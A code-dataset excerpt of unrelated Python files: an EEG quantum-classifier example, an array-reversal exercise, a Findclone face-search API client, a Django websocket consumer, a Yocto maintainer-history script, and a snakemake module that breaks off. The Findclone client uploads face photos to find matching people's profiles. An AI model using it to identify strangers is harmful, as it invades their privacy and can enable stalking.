ax=ax, zorder=1, palette="Set1") ax.set_ylabel("ROC AUC") ax.set_ylim(0.3, 1) plt.show()

""" ==================================================================== Classification of P300 datasets from MOABB ==================================================================== It demonstrates the QuantumClassifierWithDefaultRiemannianPipeline(). This pipeline uses Riemannian Geometry, Tangent Space and a quantum SVM classifier. MOABB is used to access many EEG datasets and also for the evaluation and comparison with other classifiers. In QuantumClassifierWithDefaultRiemannianPipeline(): If parameter "shots" is None then a classical SVM is used similar to the one in scikit learn. If "shots" is not None and IBM Qunatum token is provided with "q_account_token" then a real Quantum computer will be used. You also need to adjust the "n_components" in the PCA procedure to the number of qubits supported by the real quantum computer you are going to use. A list of real quantum computers is available in your IBM quantum account. """ # Author: <NAME> # Modified from plot_classify_EEG_tangentspace.py of pyRiemann # License: BSD (3-clause) from pyriemann.estimation import XdawnCovariances from pyriemann.tangentspace import TangentSpace from sklearn.pipeline import make_pipeline from matplotlib import pyplot as plt import warnings import seaborn as sns from sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA from moabb import set_log_level from moabb.datasets import bi2012 from moabb.evaluations import WithinSessionEvaluation from moabb.paradigms import P300 from pyriemann_qiskit.classification import \ QuantumClassifierWithDefaultRiemannianPipeline from sklearn.decomposition import PCA print(__doc__) ############################################################################## # getting rid of the warnings about the future warnings.simplefilter(action="ignore", category=FutureWarning) warnings.simplefilter(action="ignore", category=RuntimeWarning) warnings.filterwarnings("ignore") set_log_level("info") ############################################################################## # Create Pipelines # ---------------- # # Pipelines must be a dict of sklearn pipeline transformer. ############################################################################## # We have to do this because the classes are called 'Target' and 'NonTarget' # but the evaluation function uses a LabelEncoder, transforming them # to 0 and 1 labels_dict = {"Target": 1, "NonTarget": 0} paradigm = P300(resample=128) datasets = [bi2012()] # MOABB provides several other P300 datasets # reduce the number of subjects, the Quantum pipeline takes a lot of time # if executed on the entire dataset n_subjects = 5 for dataset in datasets: dataset.subject_list = dataset.subject_list[0:n_subjects] overwrite = True # set to True if we want to overwrite cached results pipelines = {} # A Riemannian Quantum pipeline provided by pyRiemann-qiskit # You can choose between classical SVM and Quantum SVM. pipelines["RG+QuantumSVM"] = QuantumClassifierWithDefaultRiemannianPipeline( shots=None, # 'None' forces classic SVM nfilter=2, # default 2 # default n_components=10, a higher value renders better performance with # the non-qunatum SVM version used in qiskit # On a real Quantum computer (n_components = qubits) dim_red=PCA(n_components=5), # params={'q_account_token': '<IBM Quantum TOKEN>'} ) # Here we provide a pipeline for comparison: # This is a standard pipeline similar to # QuantumClassifierWithDefaultRiemannianPipeline, but with LDA classifier # instead. pipelines["RG+LDA"] = make_pipeline( # applies XDawn and calculates the covariance matrix, output it matrices XdawnCovariances( nfilter=2, classes=[labels_dict["Target"]], estimator="lwf", xdawn_estimator="scm" ), TangentSpace(), PCA(n_components=10), LDA(solver="lsqr", shrinkage="auto"), # you can use other classifiers ) print("Total pipelines to evaluate: ", len(pipelines)) evaluation = WithinSessionEvaluation( paradigm=paradigm, datasets=datasets, suffix="examples", overwrite=overwrite ) results = evaluation.process(pipelines) print("Averaging the session performance:") print(results.groupby('pipeline').mean('score')[['score', 'time']]) ############################################################################## # Plot Results # ---------------- # # Here we plot the results to compare the two pipelines fig, ax = plt.subplots(facecolor="white", figsize=[8, 4]) sns.stripplot( data=results, y="score", x="pipeline", ax=ax, jitter=True, alpha=0.5, zorder=1, palette="Set1", ) sns.pointplot(data=results, y="score", x="pipeline", ax=ax, zorder=1, palette="Set1") ax.set_ylabel("ROC AUC") ax.set_ylim(0.3, 1) plt.show()

it

copy-the-content-of-one-array-into-another-in-the-reverse-order.py

kRituraj/python-programming

13537

<filename>copy-the-content-of-one-array-into-another-in-the-reverse-order.py from array import * MyArray = [None] * 20 MyArray1 = [None] * 20 i = 0 while(i < 20): MyArray[i] = i + 1 i = i + 1 j = 0 i = 19 while(j < 20): MyArray1[j] = MyArray[i] j = j + 1 i = i - 1 i = 0 while(i < 20): print(MyArray1[i],end = " ") i = i + 1

<filename>copy-the-content-of-one-array-into-another-in-the-reverse-order.py from array import * MyArray = [None] * 20 MyArray1 = [None] * 20 i = 0 while(i < 20): MyArray[i] = i + 1 i = i + 1 j = 0 i = 19 while(j < 20): MyArray1[j] = MyArray[i] j = j + 1 i = i - 1 i = 0 while(i < 20): print(MyArray1[i],end = " ") i = i + 1

none

Findclone/aiofindclone.py

vypivshiy/Findclone_api

13538

from aiohttp import ClientSession, FormData from Findclone import __version__ from .models import Account, Profiles, Histories, get_builder from .utils import random_string, paint_boxes from .exceptions import a_error_handler, FindcloneError from io import BufferedReader, BytesIO class FindcloneAsync: """async findclone api class Attributes: headers : dict - set requests headers """ def __init__(self): self._session = ClientSession() self.headers = {"User-Agent": f"findclone-api/{__version__}"} self.__builder = get_builder().build_aio_response self._session_key = None self._userid = None self.__info = None async def login(self, login: [str, None] = None, password: [str, None] = None, session_key: [str, None] = None, userid: [str, int, None] = None) -> bool: """ *coro Findclone authorisation :param login: account login :param password: account password :param session_key: account session_key :param userid: account userid :return: True is auth success """ if login and password: async with self._session.post("https://findclone.ru/login", data={"phone": login, "password": password}) as response: await a_error_handler(response) resp = await response.json() self.__info = await self.__builder(response) self._session_key = resp["session_key"] self._userid = resp["userid"] self.headers.update({'session-key': self._session_key, 'user-id': str(self._userid)}) return True elif session_key and userid: self.headers.update({"session-key": session_key, "user-id": str(userid)}) async with self._session.get("https://findclone.ru/profile", headers=self.headers) as response: await a_error_handler(response) self.__info = await self.__builder(response) self._session_key = session_key self._userid = userid return True else: raise FindcloneError("Need login and password or session-key and _userid") @property async def info(self) -> Account: """ *coro return account information :return: Account object """ async with self._session.get("https://findclone.ru/profile", headers=self.headers) as response: info = await self.__builder(response) self.__info = info return info async def upload(self, file: [str, BufferedReader], face_box_id: int = None, timeout: float = 180) -> [Profiles, BytesIO]: """ *coro upload image or image url and return Profiles object or BytesIO object :param file: image direct download link or path :param face_box_id: OPTIONAL, send facebox id if 2 or more faces are detected :param timeout: OPTIONAL - max timeout delay :return: Profiles object or BytesIO if 2 or more faces are detected """ data = FormData() if file.startswith("http"): async with self._session.get(file, headers=self.headers) as response: file = await response.read() data.add_field("uploaded_photo", file, filename=f"{random_string()}.png", content_type="image/png") else: data.add_field("uploaded_photo", open(file, "rb"), filename=f"{random_string()}.png", content_type="image/png") async with self._session.post("https://findclone.ru/upload2", data=data, headers=self.headers, timeout=timeout) as response: resp = await response.json() if resp.get("faceBoxes"): if face_box_id is not None: async with self._session.get("https://findclone.ru/upload3", params={"id": face_box_id}, headers=self.headers) as response2: resp = await self.__builder(response2) return resp else: img_bytes = paint_boxes(file, resp) # return bytesIO object return img_bytes resp = await self.__builder(response) return resp async def history(self, offset: int = 0, count: int = 100) -> Histories: """ *coro return object histories search for account :param offset: int :param count: int :return: Histories object """ async with self._session.get("https://findclone.ru/hist", params={"offset": offset, "count": count}, headers=self.headers) as response: history = await self.__builder(response) return history async def search(self, search_id: [int, str], count: int = 128) -> Profiles: """ *coro :param search_id: [int, str] search id :param count: [int] max Profiles count get :return: Profiles object """ async with self._session.get("https://findclone.ru/search", params={"id": search_id, "count": count}, headers=self.headers) as response: search_result = await self.__builder(response) return search_result @property def get_session(self) -> dict: """ property return session-key and _userid account :return: dict {"session-key": session_key, "user-id": userid} """ _session = {"session-key": self._session_key, "user-id": self._userid} return _session def __str__(self): return self.__info.__str__() async def __aenter__(self) -> 'FindcloneAsync': return self async def __aexit__(self, exc_type, exc_val, exc_tb) -> None: await self._session.close() async def close(self) -> None: await self._session.close()

from aiohttp import ClientSession, FormData from Findclone import __version__ from .models import Account, Profiles, Histories, get_builder from .utils import random_string, paint_boxes from .exceptions import a_error_handler, FindcloneError from io import BufferedReader, BytesIO class FindcloneAsync: """async findclone api class Attributes: headers : dict - set requests headers """ def __init__(self): self._session = ClientSession() self.headers = {"User-Agent": f"findclone-api/{__version__}"} self.__builder = get_builder().build_aio_response self._session_key = None self._userid = None self.__info = None async def login(self, login: [str, None] = None, password: [str, None] = None, session_key: [str, None] = None, userid: [str, int, None] = None) -> bool: """ *coro Findclone authorisation :param login: account login :param password: account password :param session_key: account session_key :param userid: account userid :return: True is auth success """ if login and password: async with self._session.post("https://findclone.ru/login", data={"phone": login, "password": password}) as response: await a_error_handler(response) resp = await response.json() self.__info = await self.__builder(response) self._session_key = resp["session_key"] self._userid = resp["userid"] self.headers.update({'session-key': self._session_key, 'user-id': str(self._userid)}) return True elif session_key and userid: self.headers.update({"session-key": session_key, "user-id": str(userid)}) async with self._session.get("https://findclone.ru/profile", headers=self.headers) as response: await a_error_handler(response) self.__info = await self.__builder(response) self._session_key = session_key self._userid = userid return True else: raise FindcloneError("Need login and password or session-key and _userid") @property async def info(self) -> Account: """ *coro return account information :return: Account object """ async with self._session.get("https://findclone.ru/profile", headers=self.headers) as response: info = await self.__builder(response) self.__info = info return info async def upload(self, file: [str, BufferedReader], face_box_id: int = None, timeout: float = 180) -> [Profiles, BytesIO]: """ *coro upload image or image url and return Profiles object or BytesIO object :param file: image direct download link or path :param face_box_id: OPTIONAL, send facebox id if 2 or more faces are detected :param timeout: OPTIONAL - max timeout delay :return: Profiles object or BytesIO if 2 or more faces are detected """ data = FormData() if file.startswith("http"): async with self._session.get(file, headers=self.headers) as response: file = await response.read() data.add_field("uploaded_photo", file, filename=f"{random_string()}.png", content_type="image/png") else: data.add_field("uploaded_photo", open(file, "rb"), filename=f"{random_string()}.png", content_type="image/png") async with self._session.post("https://findclone.ru/upload2", data=data, headers=self.headers, timeout=timeout) as response: resp = await response.json() if resp.get("faceBoxes"): if face_box_id is not None: async with self._session.get("https://findclone.ru/upload3", params={"id": face_box_id}, headers=self.headers) as response2: resp = await self.__builder(response2) return resp else: img_bytes = paint_boxes(file, resp) # return bytesIO object return img_bytes resp = await self.__builder(response) return resp async def history(self, offset: int = 0, count: int = 100) -> Histories: """ *coro return object histories search for account :param offset: int :param count: int :return: Histories object """ async with self._session.get("https://findclone.ru/hist", params={"offset": offset, "count": count}, headers=self.headers) as response: history = await self.__builder(response) return history async def search(self, search_id: [int, str], count: int = 128) -> Profiles: """ *coro :param search_id: [int, str] search id :param count: [int] max Profiles count get :return: Profiles object """ async with self._session.get("https://findclone.ru/search", params={"id": search_id, "count": count}, headers=self.headers) as response: search_result = await self.__builder(response) return search_result @property def get_session(self) -> dict: """ property return session-key and _userid account :return: dict {"session-key": session_key, "user-id": userid} """ _session = {"session-key": self._session_key, "user-id": self._userid} return _session def __str__(self): return self.__info.__str__() async def __aenter__(self) -> 'FindcloneAsync': return self async def __aexit__(self, exc_type, exc_val, exc_tb) -> None: await self._session.close() async def close(self) -> None: await self._session.close()

pt

src/program/consumers.py

pwelzel/bornhack-website

13539

<filename>src/program/consumers.py<gh_stars>0 from channels.generic.websocket import JsonWebsocketConsumer from camps.models import Camp from .models import ( Event, EventInstance, Favorite, EventLocation, EventType, EventTrack, Speaker ) class ScheduleConsumer(JsonWebsocketConsumer): groups = ['schedule_users'] def receive(self, text_data, **kwargs): user = self.scope['user'] content = self.decode_json(text_data) action = content.get('action') data = {} if action == 'init': camp_slug = content.get('camp_slug') try: camp = Camp.objects.get(slug=camp_slug) days = list(map( lambda day: { 'repr': day.lower.strftime('%A %Y-%m-%d'), 'iso': day.lower.strftime('%Y-%m-%d'), 'day_name': day.lower.strftime('%A'), }, camp.get_days('camp') )) events_query_set = Event.objects.filter(track__camp=camp) events = list([x.serialize() for x in events_query_set]) event_instances_query_set = EventInstance.objects.filter( event__track__camp=camp ) event_instances = list([ x.serialize(user=user) for x in event_instances_query_set ]) event_locations_query_set = EventLocation.objects.filter( camp=camp ) event_locations = list([ x.serialize() for x in event_locations_query_set ]) event_types_query_set = EventType.objects.filter() event_types = list([ x.serialize() for x in event_types_query_set ]) event_tracks_query_set = EventTrack.objects.filter( camp=camp ) event_tracks = list([ x.serialize() for x in event_tracks_query_set ]) speakers_query_set = Speaker.objects.filter(camp=camp) speakers = list([x.serialize() for x in speakers_query_set]) data = { "action": "init", "events": events, "event_instances": event_instances, "event_locations": event_locations, "event_types": event_types, "event_tracks": event_tracks, "speakers": speakers, "days": days, } except Camp.DoesNotExist: pass if action == 'favorite': event_instance_id = content.get('event_instance_id') event_instance = EventInstance.objects.get(id=event_instance_id) Favorite.objects.create( user=user, event_instance=event_instance ) if action == 'unfavorite': try: event_instance_id = content.get('event_instance_id') event_instance = EventInstance.objects.get( id=event_instance_id ) favorite = Favorite.objects.get( event_instance=event_instance, user=user ) favorite.delete() except Favorite.DoesNotExist: # We don't want to do anything. return if data: self.send_json(data) def disconnect(self, message, **kwargs): pass

<filename>src/program/consumers.py<gh_stars>0 from channels.generic.websocket import JsonWebsocketConsumer from camps.models import Camp from .models import ( Event, EventInstance, Favorite, EventLocation, EventType, EventTrack, Speaker ) class ScheduleConsumer(JsonWebsocketConsumer): groups = ['schedule_users'] def receive(self, text_data, **kwargs): user = self.scope['user'] content = self.decode_json(text_data) action = content.get('action') data = {} if action == 'init': camp_slug = content.get('camp_slug') try: camp = Camp.objects.get(slug=camp_slug) days = list(map( lambda day: { 'repr': day.lower.strftime('%A %Y-%m-%d'), 'iso': day.lower.strftime('%Y-%m-%d'), 'day_name': day.lower.strftime('%A'), }, camp.get_days('camp') )) events_query_set = Event.objects.filter(track__camp=camp) events = list([x.serialize() for x in events_query_set]) event_instances_query_set = EventInstance.objects.filter( event__track__camp=camp ) event_instances = list([ x.serialize(user=user) for x in event_instances_query_set ]) event_locations_query_set = EventLocation.objects.filter( camp=camp ) event_locations = list([ x.serialize() for x in event_locations_query_set ]) event_types_query_set = EventType.objects.filter() event_types = list([ x.serialize() for x in event_types_query_set ]) event_tracks_query_set = EventTrack.objects.filter( camp=camp ) event_tracks = list([ x.serialize() for x in event_tracks_query_set ]) speakers_query_set = Speaker.objects.filter(camp=camp) speakers = list([x.serialize() for x in speakers_query_set]) data = { "action": "init", "events": events, "event_instances": event_instances, "event_locations": event_locations, "event_types": event_types, "event_tracks": event_tracks, "speakers": speakers, "days": days, } except Camp.DoesNotExist: pass if action == 'favorite': event_instance_id = content.get('event_instance_id') event_instance = EventInstance.objects.get(id=event_instance_id) Favorite.objects.create( user=user, event_instance=event_instance ) if action == 'unfavorite': try: event_instance_id = content.get('event_instance_id') event_instance = EventInstance.objects.get( id=event_instance_id ) favorite = Favorite.objects.get( event_instance=event_instance, user=user ) favorite.delete() except Favorite.DoesNotExist: # We don't want to do anything. return if data: self.send_json(data) def disconnect(self, message, **kwargs): pass

es

rrs/tools/rrs_maintainer_history.py

WindRiver-OpenSourceLabs/layerindex-web

13540

#!/usr/bin/env python3 # Standalone script which rebuilds the history of maintainership # # Copyright (C) 2015 Intel Corporation # Author: <NAME> <<EMAIL>> # # Licensed under the MIT license, see COPYING.MIT for details import sys import os.path import optparse import logging sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__)))) from common import common_setup, get_logger, DryRunRollbackException common_setup() from layerindex import utils, recipeparse utils.setup_django() from django.db import transaction import settings from layerindex.models import Recipe, LayerBranch, LayerItem from rrs.models import MaintenancePlan, Maintainer, RecipeMaintainerHistory, RecipeMaintainer, RecipeMaintenanceLink from django.core.exceptions import ObjectDoesNotExist # FIXME we shouldn't be hardcoded to expect RECIPE_MAINTAINER to be set in this file, # as it may be in the recipe in future MAINTAINERS_INCLUDE_PATH = 'conf/distro/include/maintainers.inc' """ Try to get recipe maintainer from line, if not found return None """ def get_recipe_maintainer(line, logger): import re regex = re.compile('^RECIPE_MAINTAINER_pn-(?P<pn>.*)\s=\s"(?P<name>.+) <(?P<email>.*)>"$') match = regex.search(line) if match: return (match.group('pn'), match.group('name'), match.group('email')) else: logger.debug("line (%s) don\'t match" % (line)) return None """ Get commit information from text. Returns author_name, author_email, date and title. """ def get_commit_info(info, logger): import re from datetime import datetime from email.utils import parsedate_tz, mktime_tz author_regex = re.compile("^Author: (?P<name>.*) <(?P<email>.*)>$") date_regex = re.compile("^Date: (?P<date>.*)$") title_regex = re.compile("^ (?P<title>.*)$") lines = info.split('\n') author_name = author_regex.search(lines[1]).group('name') author_email = author_regex.search(lines[1]).group('email') date_str = date_regex.search(lines[2]).group('date') date = datetime.utcfromtimestamp(mktime_tz(parsedate_tz(date_str))) title = title_regex.search(lines[4]).group('title') return (author_name, author_email, date, title) def maintainers_inc_history(options, logger, maintplan, layerbranch, repodir, layerdir): maintainers_full_path = os.path.join(layerdir, MAINTAINERS_INCLUDE_PATH) if not os.path.exists(maintainers_full_path): logger.warning('Maintainer style is maintainers.inc for plan %s but no maintainers.inc exists in for %s' % (maintplan, layerbranch)) return logger.debug('Checking maintainers.inc history for %s' % layerbranch) commits = utils.runcmd("git log --format='%%H' --reverse --date=rfc origin/master %s" % os.path.join(layerbranch.vcs_subdir, MAINTAINERS_INCLUDE_PATH), repodir, logger=logger) no_maintainer, _ = Maintainer.objects.get_or_create(name='No maintainer') try: with transaction.atomic(): for commit in commits.strip().split("\n"): if RecipeMaintainerHistory.objects.filter(layerbranch=layerbranch, sha1=commit): continue logger.debug("Analysing commit %s ..." % (commit)) (author_name, author_email, date, title) = \ get_commit_info(utils.runcmd("git show " + commit, repodir, logger=logger), logger) author = Maintainer.create_or_update(author_name, author_email) rms = RecipeMaintainerHistory(title=title, date=date, author=author, sha1=commit, layerbranch=layerbranch) rms.save() utils.runcmd("git checkout %s -f" % commit, repodir, logger=logger) lines = [line.strip() for line in open(maintainers_full_path)] for line in lines: res = get_recipe_maintainer(line, logger) if res: (pn, name, email) = res qry = Recipe.objects.filter(pn = pn, layerbranch = layerbranch) if qry: m = Maintainer.create_or_update(name, email) rm = RecipeMaintainer() rm.recipe = qry[0] rm.maintainer = m rm.history = rms rm.save() logger.debug("%s: Change maintainer to %s in commit %s." % \ (pn, m.name, commit)) else: logger.debug("%s: Not found in %s." % \ (pn, layerbranch)) # set missing recipes to no maintainer for recipe in layerbranch.recipe_set.all(): if not RecipeMaintainer.objects.filter(recipe = recipe, history = rms): rm = RecipeMaintainer() rm.recipe = recipe link_maintainer = RecipeMaintenanceLink.link_maintainer(recipe.pn, rms) if link_maintainer: rm.maintainer = link_maintainer.maintainer else: rm.maintainer = no_maintainer rm.history = rms rm.save() if link_maintainer: logger.debug("%s: linked to maintainer for %s" % (recipe.pn, link_maintainer.recipe.pn)) else: logger.debug("%s: Not found maintainer in commit %s set to 'No maintainer'." % \ (recipe.pn, rms.sha1)) # set new recipes to no maintainer if don't have one rms = RecipeMaintainerHistory.get_last(layerbranch) for recipe in layerbranch.recipe_set.all(): if not RecipeMaintainer.objects.filter(recipe = recipe, history = rms): rm = RecipeMaintainer() rm.recipe = recipe link_maintainer = RecipeMaintenanceLink.link_maintainer(recipe.pn, rms) if link_maintainer: rm.maintainer = link_maintainer.maintainer else: rm.maintainer = no_maintainer rm.history = rms rm.save() if link_maintainer: logger.debug("%s: New recipe linked to maintainer for %s" % (recipe.pn, link_maintainer.recipe.pn)) else: logger.debug("%s: New recipe not found maintainer set to 'No maintainer'." % \ (recipe.pn)) if options.dry_run: raise DryRunRollbackException except DryRunRollbackException: pass """ Recreate Maintainership history from the beginning """ def maintainer_history(options, logger): fetchdir = settings.LAYER_FETCH_DIR if options.plan: maintplans = MaintenancePlan.objects.filter(id=int(options.plan)) if not maintplans.exists(): logger.error('No maintenance plan with ID %s found' % options.plan) sys.exit(1) else: maintplans = MaintenancePlan.objects.filter(updates_enabled=True) if not maintplans.exists(): logger.error('No enabled maintenance plans found') sys.exit(1) lockfn = os.path.join(fetchdir, "layerindex.lock") lockfile = utils.lock_file(lockfn) if not lockfile: logger.error("Layer index lock timeout expired") sys.exit(1) try: for maintplan in maintplans: for item in maintplan.maintenanceplanlayerbranch_set.all(): layerbranch = item.layerbranch if options.fullreload and not options.dry_run: RecipeMaintainerHistory.objects.filter(layerbranch=layerbranch).delete() urldir = str(layerbranch.layer.get_fetch_dir()) repodir = os.path.join(fetchdir, urldir) layerdir = os.path.join(repodir, layerbranch.vcs_subdir) if maintplan.maintainer_style == 'I': # maintainers.inc maintainers_inc_history(options, logger, maintplan, layerbranch, repodir, layerdir) elif maintplan.maintainer_style == 'L': # Layer-wide, don't need to do anything logger.debug('Skipping maintainer processing for %s - plan %s maintainer style is layer-wide' % (layerbranch, maintplan)) else: raise Exception('Unknown maintainer style %s for maintenance plan %s' % (maintplan.maintainer_style, maintplan)) finally: utils.unlock_file(lockfile) if __name__=="__main__": parser = optparse.OptionParser(usage = """%prog [options]""") parser.add_option("-p", "--plan", help="Specify maintenance plan to operate on (default is all plans that have updates enabled)", action="store", dest="plan", default=None) parser.add_option("--fullreload", help="Reload upgrade data from scratch", action="store_true", dest="fullreload", default=False) parser.add_option("-d", "--debug", help = "Enable debug output", action="store_const", const=logging.DEBUG, dest="loglevel", default=logging.INFO) parser.add_option("--dry-run", help = "Do not write any data back to the database", action="store_true", dest="dry_run", default=False) logger = get_logger("MaintainerUpdate", settings) options, args = parser.parse_args(sys.argv) logger.setLevel(options.loglevel) maintainer_history(options, logger)

#!/usr/bin/env python3 # Standalone script which rebuilds the history of maintainership # # Copyright (C) 2015 Intel Corporation # Author: <NAME> <<EMAIL>> # # Licensed under the MIT license, see COPYING.MIT for details import sys import os.path import optparse import logging sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__)))) from common import common_setup, get_logger, DryRunRollbackException common_setup() from layerindex import utils, recipeparse utils.setup_django() from django.db import transaction import settings from layerindex.models import Recipe, LayerBranch, LayerItem from rrs.models import MaintenancePlan, Maintainer, RecipeMaintainerHistory, RecipeMaintainer, RecipeMaintenanceLink from django.core.exceptions import ObjectDoesNotExist # FIXME we shouldn't be hardcoded to expect RECIPE_MAINTAINER to be set in this file, # as it may be in the recipe in future MAINTAINERS_INCLUDE_PATH = 'conf/distro/include/maintainers.inc' """ Try to get recipe maintainer from line, if not found return None """ def get_recipe_maintainer(line, logger): import re regex = re.compile('^RECIPE_MAINTAINER_pn-(?P<pn>.*)\s=\s"(?P<name>.+) <(?P<email>.*)>"$') match = regex.search(line) if match: return (match.group('pn'), match.group('name'), match.group('email')) else: logger.debug("line (%s) don\'t match" % (line)) return None """ Get commit information from text. Returns author_name, author_email, date and title. """ def get_commit_info(info, logger): import re from datetime import datetime from email.utils import parsedate_tz, mktime_tz author_regex = re.compile("^Author: (?P<name>.*) <(?P<email>.*)>$") date_regex = re.compile("^Date: (?P<date>.*)$") title_regex = re.compile("^ (?P<title>.*)$") lines = info.split('\n') author_name = author_regex.search(lines[1]).group('name') author_email = author_regex.search(lines[1]).group('email') date_str = date_regex.search(lines[2]).group('date') date = datetime.utcfromtimestamp(mktime_tz(parsedate_tz(date_str))) title = title_regex.search(lines[4]).group('title') return (author_name, author_email, date, title) def maintainers_inc_history(options, logger, maintplan, layerbranch, repodir, layerdir): maintainers_full_path = os.path.join(layerdir, MAINTAINERS_INCLUDE_PATH) if not os.path.exists(maintainers_full_path): logger.warning('Maintainer style is maintainers.inc for plan %s but no maintainers.inc exists in for %s' % (maintplan, layerbranch)) return logger.debug('Checking maintainers.inc history for %s' % layerbranch) commits = utils.runcmd("git log --format='%%H' --reverse --date=rfc origin/master %s" % os.path.join(layerbranch.vcs_subdir, MAINTAINERS_INCLUDE_PATH), repodir, logger=logger) no_maintainer, _ = Maintainer.objects.get_or_create(name='No maintainer') try: with transaction.atomic(): for commit in commits.strip().split("\n"): if RecipeMaintainerHistory.objects.filter(layerbranch=layerbranch, sha1=commit): continue logger.debug("Analysing commit %s ..." % (commit)) (author_name, author_email, date, title) = \ get_commit_info(utils.runcmd("git show " + commit, repodir, logger=logger), logger) author = Maintainer.create_or_update(author_name, author_email) rms = RecipeMaintainerHistory(title=title, date=date, author=author, sha1=commit, layerbranch=layerbranch) rms.save() utils.runcmd("git checkout %s -f" % commit, repodir, logger=logger) lines = [line.strip() for line in open(maintainers_full_path)] for line in lines: res = get_recipe_maintainer(line, logger) if res: (pn, name, email) = res qry = Recipe.objects.filter(pn = pn, layerbranch = layerbranch) if qry: m = Maintainer.create_or_update(name, email) rm = RecipeMaintainer() rm.recipe = qry[0] rm.maintainer = m rm.history = rms rm.save() logger.debug("%s: Change maintainer to %s in commit %s." % \ (pn, m.name, commit)) else: logger.debug("%s: Not found in %s." % \ (pn, layerbranch)) # set missing recipes to no maintainer for recipe in layerbranch.recipe_set.all(): if not RecipeMaintainer.objects.filter(recipe = recipe, history = rms): rm = RecipeMaintainer() rm.recipe = recipe link_maintainer = RecipeMaintenanceLink.link_maintainer(recipe.pn, rms) if link_maintainer: rm.maintainer = link_maintainer.maintainer else: rm.maintainer = no_maintainer rm.history = rms rm.save() if link_maintainer: logger.debug("%s: linked to maintainer for %s" % (recipe.pn, link_maintainer.recipe.pn)) else: logger.debug("%s: Not found maintainer in commit %s set to 'No maintainer'." % \ (recipe.pn, rms.sha1)) # set new recipes to no maintainer if don't have one rms = RecipeMaintainerHistory.get_last(layerbranch) for recipe in layerbranch.recipe_set.all(): if not RecipeMaintainer.objects.filter(recipe = recipe, history = rms): rm = RecipeMaintainer() rm.recipe = recipe link_maintainer = RecipeMaintenanceLink.link_maintainer(recipe.pn, rms) if link_maintainer: rm.maintainer = link_maintainer.maintainer else: rm.maintainer = no_maintainer rm.history = rms rm.save() if link_maintainer: logger.debug("%s: New recipe linked to maintainer for %s" % (recipe.pn, link_maintainer.recipe.pn)) else: logger.debug("%s: New recipe not found maintainer set to 'No maintainer'." % \ (recipe.pn)) if options.dry_run: raise DryRunRollbackException except DryRunRollbackException: pass """ Recreate Maintainership history from the beginning """ def maintainer_history(options, logger): fetchdir = settings.LAYER_FETCH_DIR if options.plan: maintplans = MaintenancePlan.objects.filter(id=int(options.plan)) if not maintplans.exists(): logger.error('No maintenance plan with ID %s found' % options.plan) sys.exit(1) else: maintplans = MaintenancePlan.objects.filter(updates_enabled=True) if not maintplans.exists(): logger.error('No enabled maintenance plans found') sys.exit(1) lockfn = os.path.join(fetchdir, "layerindex.lock") lockfile = utils.lock_file(lockfn) if not lockfile: logger.error("Layer index lock timeout expired") sys.exit(1) try: for maintplan in maintplans: for item in maintplan.maintenanceplanlayerbranch_set.all(): layerbranch = item.layerbranch if options.fullreload and not options.dry_run: RecipeMaintainerHistory.objects.filter(layerbranch=layerbranch).delete() urldir = str(layerbranch.layer.get_fetch_dir()) repodir = os.path.join(fetchdir, urldir) layerdir = os.path.join(repodir, layerbranch.vcs_subdir) if maintplan.maintainer_style == 'I': # maintainers.inc maintainers_inc_history(options, logger, maintplan, layerbranch, repodir, layerdir) elif maintplan.maintainer_style == 'L': # Layer-wide, don't need to do anything logger.debug('Skipping maintainer processing for %s - plan %s maintainer style is layer-wide' % (layerbranch, maintplan)) else: raise Exception('Unknown maintainer style %s for maintenance plan %s' % (maintplan.maintainer_style, maintplan)) finally: utils.unlock_file(lockfile) if __name__=="__main__": parser = optparse.OptionParser(usage = """%prog [options]""") parser.add_option("-p", "--plan", help="Specify maintenance plan to operate on (default is all plans that have updates enabled)", action="store", dest="plan", default=None) parser.add_option("--fullreload", help="Reload upgrade data from scratch", action="store_true", dest="fullreload", default=False) parser.add_option("-d", "--debug", help = "Enable debug output", action="store_const", const=logging.DEBUG, dest="loglevel", default=logging.INFO) parser.add_option("--dry-run", help = "Do not write any data back to the database", action="store_true", dest="dry_run", default=False) logger = get_logger("MaintainerUpdate", settings) options, args = parser.parse_args(sys.argv) logger.setLevel(options.loglevel) maintainer_history(options, logger)

pt

snakemake/persistence.py

scholer/snakemake

13541

__author__ = "<NAME>" __copyright__ = "Copyright 2015-2019, <NAME>" __email__ = "<EMAIL>" __license__ = "MIT" import os import shutil import signal import marshal import pickle import json import time from base64 import urlsafe_b64encode, b64encode from functools import lru_cache, partial from itertools import filterfalse, count from pathlib import Path from snakemake.logging import logger from snakemake.jobs import jobfiles from snakemake.utils import listfiles class Persistence: def __init__( self, nolock=False, dag=None, conda_prefix=None, singularity_prefix=None, shadow_prefix=None, warn_only=False, ): self.path = os.path.abspath(".snakemake") if not os.path.exists(self.path): os.mkdir(self.path) self._lockdir = os.path.join(self.path, "locks") if not os.path.exists(self._lockdir): os.mkdir(self._lockdir) self.dag = dag self._lockfile = dict() self._metadata_path = os.path.join(self.path, "metadata") self._incomplete_path = os.path.join(self.path, "incomplete") self.conda_env_archive_path = os.path.join(self.path, "conda-archive") self.benchmark_path = os.path.join(self.path, "benchmarks") if conda_prefix is None: self.conda_env_path = os.path.join(self.path, "conda") else: self.conda_env_path = os.path.abspath(os.path.expanduser(conda_prefix)) if singularity_prefix is None: self.container_img_path = os.path.join(self.path, "singularity") else: self.container_img_path = os.path.abspath( os.path.expanduser(singularity_prefix) ) if shadow_prefix is None: self.shadow_path = os.path.join(self.path, "shadow") else: self.shadow_path = os.path.join(shadow_prefix, "shadow") # place to store any auxiliary information needed during a run (e.g. source tarballs) self.aux_path = os.path.join(self.path, "auxiliary") # migration of .snakemake folder structure migration_indicator = Path( os.path.join(self._incomplete_path, "migration_underway") ) if ( os.path.exists(self._metadata_path) and not os.path.exists(self._incomplete_path) ) or migration_indicator.exists(): os.makedirs(self._incomplete_path, exist_ok=True) migration_indicator.touch() self.migrate_v1_to_v2() migration_indicator.unlink() self._incomplete_cache = None for d in ( self._metadata_path, self._incomplete_path, self.shadow_path, self.conda_env_archive_path, self.conda_env_path, self.container_img_path, self.aux_path, ): os.makedirs(d, exist_ok=True) if nolock: self.lock = self.noop self.unlock = self.noop if warn_only: self.lock = self.lock_warn_only self.unlock = self.noop self._read_record = self._read_record_cached def migrate_v1_to_v2(self): logger.info("Migrating .snakemake folder to new format...") i = 0 for path, _, filenames in os.walk(self._metadata_path): path = Path(path) for filename in filenames: with open(path / filename, "r") as f: try: record = json.load(f) except 